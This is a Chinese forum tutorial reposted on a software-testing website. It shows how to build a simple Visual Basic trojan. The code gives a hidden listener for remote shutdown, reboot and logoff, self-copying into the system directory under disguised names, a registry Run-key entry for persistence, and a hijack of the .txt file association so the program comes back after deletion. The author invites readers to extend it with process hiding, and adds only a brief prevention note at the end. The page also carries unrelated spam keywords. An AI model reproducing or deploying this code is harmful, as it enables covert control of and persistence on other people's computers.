• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    VB中簡單木馬程序,第一次在這寫帖子,多多支持~~

    發布: 2007-5-25 09:19 | 作者: 阿呆哥 | 來源: 互聯網 | 查看: 36次 | 進入軟件測試論壇討論

    領測軟件測試網


    相信大家或多或少都聽說過木馬這個東西,可能它的危力也有過不少人領教過:在后臺記錄你的鍵盤輸入,截取你的密碼;從你的機子中神密地偷走你的重要資料;甚至格掉你的硬盤……那這些厲害的家伙它們是如果工作的呢?下面我就給大家一起來聊聊它們的工作原理。
    其它這些家伙已經并不是十分高明的技術了,它們不外乎也就是基于TCP/IP協議的客戶端/服務端程序。工作原理也和普通的客戶端/服務端軟件一樣,只不過它們隱藏得比較好,不容易發現而已。首先對你懷有野心的人利用現成的*作系統或是某些軟件本身的漏洞想方設法的把服務端程序加到你的本機上運行,然后通過客戶端向你本機中的服務端程序發出一些請求,最后對你本機進行*作,完成他們想要達到的目的。
    那這些請求是如何實現的呢?下面我來舉一個例子。
    首先,新建一工程,名為Server,新建一個窗體,Name為frmServer,在窗體中加入一個winsock控件,Name設為sckServer,協議設為默認的TCP/IP協議。
    接下來我們回來frmServer窗體模塊中,添加如下代碼:
    Private Sub form_Load()
       With Me
           .sckServer.LocalPort = 4000‘本地端口
           .sckServer.Listen          ‘開始監聽
       End With
    End Sub
    ‘接受客戶端的連接請求。
    Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
       With Me
           If .sckServer.State <>sckClosed Then .sckServer.Close
               .sckServer.Accept (requestID)
       End With
    End Sub
    下面我們來建立客戶端程序:新建一個工程,名為Client,把窗體名為frmClient,在上面加入一個winsock控件,名為sckClient,協議為TCP/IP協議。再加一個按鈕cmdConnect在窗體模塊中加入代碼:
    Private Sub form_Load()
       With Me
           .sckClient.RemoteHost = "127.0.0.1"‘設置遠程IP,本例設為本機。
           .sckClient.RemotePort = 4000          ‘遠程端口,就為server中的設置一樣.
       End With
    End Sub
    Private sub cmdConnect_Click()
    SckClient.Connect
    End sub
    至此,單擊Connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print “Connetion successful!”來查看。
    這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,我們打算實現一點小小的功能―――關機,重啟,注銷。好,開始吧!
    在Server工程中新建一個模塊,Name為modApi,這個?鞛橐恍〢PI函數,添加如下API函數:
       Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    Public Const EWX_LOGOFF = 0
    Public Const EWX_REBOOT = 2
    Public Const EWX_SHUTDOWN = 1
    Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
    Public Type RECT
          Left As Long
           Top As Long
           Right As Long
           Bottom As Long
    End Type
    注:在兩個socket中編程中,進行通信的重要事件是DataArrival事件,用于接收遠程數據。
    下面在Client工程的frmClient窗體中放入三個按鈕,分別為cmdExit,cmdLogoff,cmdReboot。它們用于對遠程的關機,注銷,重啟*作。分別添加如下代碼:
    Private Sub cmdExit_Click()
       Me.sckClient.SendData "Exit"
    End Sub

    Private Sub cmdLogoff_Click()
       Me.sckClient.SendData "Logoff"
    End Sub

    Private Sub cmdReboot_Click()
       Me.sckClient.SendData "Reboot"
    End Sub
    全都是對服務端發出請求。下面轉到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客戶端的請求。
    Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
       Dim strData As String
       With Me
           ' 接收客戶請求的信息
           .sckServer.GetData strData
           Select Case strData
               Case "Exit"
              '關機
               Call ExitWindowsEx(EWX_SHUTDOWN, 0)
               Case "Reboot"
              '重啟
               Call ExitWindowsEx(EWX_REBOOT, 0)
               Case "Logoff"
              '注銷
               Call ExitWindowsEx(EWX_LOGOFF, 0)
           End Select
       End With
    End Sub
    好了,到此我們已經實現功能了,但還不行,我們要它在背后運行。這簡單,在frmServer中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什么,怎么實現的?把它加入到注冊表的啟動組中?對,不錯,跟我來吧!
    回到Server工程中的modApi中加入如下API函數:
    Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
    Public Const REG_BINARY = 3
    Public Const REG_SZ = 1
    Public Const HKEY_LOCAL_MACHINE = &H80000002
    Public Const HKEY_CLASSES_ROOT = &H80000000
    寫到注冊表啟動組中的過程。
    Public Sub StartupGroup()
       Dim sKey As String
       Dim result As Long
       Dim hKeyID As Long
       Dim sKeyVal As String
      
       sKey = "Systrsy"    '啟動組中的鍵,找一個與系統文件相近的。
      sKeyVal = "C:\windows\system\systrsy.exe"   '木馬文件的路徑,可以用GetSystemDirectory來取得系統路徑。
       result = RegOpenKey(HKEY_LOCAL_MACHINE, _
           "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
       If result = 0 Then
           result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
               Len(sKey) + 1)
       End If
    End Sub
    好就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:
    Public Sub WriteToTxt()
       Dim result As Long
       Dim hKeyID As Long
       Dim skey As String
       Dim skeyVal As String
       skey = "txtfile\shell\open\command"
      skeyVal = "C:\windows\system\txtView.exe"
       result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
       If result = 0 Then
           result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
               skeyVal, Len(skeyVal) + 1)
       End If
    End Sub
    肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但C:\windows\system\txtView.exe是哪里來的,我們的木馬是C:\windows\system\systrsy.exe呀。這可是我們木馬的分身了。
    好,回到Server工程的frmServer窗體的form_Load中,加入如下代碼:
    Dim sCurrentPath As String, sSystemDir As String
           sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
           sSystemDir = “C:\windows\system”
           On Error Resume Next
    ‘復制文件成系統目錄下的Systrsy.exe
           FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
           On Error Resume Next
    復制文件成系統目錄下的txtView.exe
           FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

    調用
    Call startupGroup
    Call WriteToTxt

    '判斷程序是否下在運行
           If App.PrevInstance Then
              ‘如果已經運行就退出。
            End
           End If

    好了,到現在為止,我們的木馬已經像個木馬了?彀阉幾g為EXE文件吧!只要一運行你的程序,不管在哪里,就會把自身復制到系統目錄下(還帶一個分身),下次開機自己就運行了,這樣你就可以把他的電腦給黑掉了。即使對方發現把它給刪了,它一旦打開TXT文件,你的木馬又復活了,怎么刪也刪不掉,哈哈!
    當然這只是個例子,只有簡單的功能,而且里面好多地方也還要作修改,比如隱藏你的進程,修改你木馬在系統目錄下為隱藏、系統、只讀屬性等等,就看大家怎么發揮自己的聰明才能了。

    防范:
    大家可能已經看出來了,也即使是再COOL的木馬,你不運行它,就什么事也不會發生,所以,無邪在這里提醒大家,不要去執行陌生的程序。其它任何自啟動的程序都會在注冊表啟動組,程序菜單啟動組或是win.ini中的Load下留下足跡,所以也讓大家常去那些地方看看。
    有誤的地方歡迎大家指正。

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>